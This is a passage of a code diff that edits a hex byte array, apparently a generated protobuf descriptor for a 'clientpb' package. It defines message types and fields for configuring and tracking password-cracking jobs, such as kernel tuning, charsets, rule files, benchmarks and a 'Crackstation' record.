0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x61, 0x63, - 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x61, 0x63, 0x6b, - 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x18, 0x48, 0x20, 0x03, 0x28, 0x0d, - 0x52, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, - 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, - 0x54, 0x79, 0x70, 0x65, 0x73, 0x18, 0x49, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x70, 0x65, - 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x12, 0x34, - 0x0a, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, - 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x4a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, - 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, - 0x61, 0x62, 0x6c, 0x65, 0x12, 0x34, 0x0a, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, - 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x4b, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, - 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x48, 0x0a, 0x0f, 0x57, 0x6f, - 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x4c, 0x20, - 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, - 0x69, 0x6c, 0x65, 0x52, 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, - 0x66, 0x69, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, - 0x63, 0x65, 0x6c, 0x18, 0x4d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, - 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, - 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x18, 0x4e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, - 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x4b, 0x65, 0x72, 0x6e, - 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x4f, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x2e, - 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, - 0x69, 0x64, 0x74, 0x68, 0x18, 0x50, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, - 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x12, 0x1a, - 0x0a, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x18, 0x51, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x12, 0x22, 0x0a, 0x0c, 0x48, 0x77, - 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x52, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x26, - 0x0a, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, - 0x18, 0x53, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, - 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, - 0x54, 0x4d, 0x54, 0x4f, 0x18, 0x54, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x53, 0x63, 0x72, 0x79, - 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x18, 0x55, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x69, - 0x6d, 0x69, 0x74, 0x18, 0x56, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, - 0x12, 0x1a, 0x0a, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x57, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x1c, 0x0a, 0x09, - 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x5a, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x47, 0x65, - 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x18, 0x5b, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, - 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, - 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x18, 0x5c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, - 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, - 0x69, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, - 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x18, 0x5d, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, - 0x6e, 0x4d, 0x61, 0x78, 0x12, 0x32, 0x0a, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, - 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x18, 0x5e, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, - 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x12, 0x2c, 0x0a, 0x11, 0x47, 0x65, 0x6e, 0x65, - 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x18, 0x5f, 0x20, - 0x01, 0x28, 0x05, 0x52, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, - 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, - 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x18, 0x60, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, - 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x12, 0x26, - 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, - 0x18, 0x61, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, - 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, - 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x18, 0x62, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, - 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x12, 0x26, - 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, - 0x18, 0x63, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, - 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, - 0x66, 0x79, 0x18, 0x64, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, - 0x66, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x18, - 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, - 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, - 0x18, 0x66, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, - 0x74, 0x4d, 0x69, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, - 0x74, 0x4d, 0x61, 0x78, 0x18, 0x67, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, - 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x12, 0x26, 0x0a, 0x0e, 0x53, 0x6c, 0x6f, 0x77, - 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, - 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18, - 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, - 0x65, 0x72, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, - 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x6a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x10, 0x42, 0x72, - 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x20, - 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x6b, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x12, 0x30, 0x0a, 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, - 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x18, 0x6c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x42, - 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, - 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x18, - 0x6d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, - 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x6e, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x24, - 0x0a, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, - 0x6f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, - 0x77, 0x6f, 0x72, 0x64, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x70, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x42, 0x72, 0x61, 0x69, - 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x15, 0x42, 0x72, 0x61, 0x69, - 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, - 0x74, 0x18, 0x71, 0x20, 0x01, 0x28, 0x09, 0x52, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x22, 0x8d, - 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1a, - 0x0a, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, - 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, - 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, - 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, - 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, - 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0x87, - 0x01, 0x0a, 0x0a, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x29, 0x0a, - 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, - 0x65, 0x52, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x75, 0x72, 0x72, - 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, - 0x73, 0x61, 0x67, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, - 0x73, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, - 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0xfb, 0x02, 0x0a, 0x09, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x64, 0x41, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, - 0x66, 0x69, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4c, 0x61, 0x73, 0x74, - 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2a, 0x0a, 0x10, + 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x26, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x52, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2c, + 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, + 0x62, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, + 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, + 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x12, 0x33, 0x0a, 0x07, 0x53, 0x79, + 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, + 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x22, + 0xa9, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, + 0x74, 0x75, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x02, 0x52, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, 0x12, 0x43, 0x0a, 0x08, 0x50, 0x72, 0x6f, + 0x67, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, + 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x2e, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x1a, 0x3b, + 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, + 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, + 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x02, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xc9, 0x01, 0x0a, 0x0e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x12, + 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x48, + 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x03, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x2e, 0x42, 0x65, 0x6e, + 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, + 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, + 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, + 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xd9, 0x01, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, + 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, + 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, + 0x1c, 0x0a, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x20, 0x0a, + 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, + 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, + 0x72, 0x12, 0x30, 0x0a, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x07, 0x43, 0x6f, 0x6d, 0x6d, + 0x61, 0x6e, 0x64, 0x22, 0xed, 0x03, 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, + 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, + 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 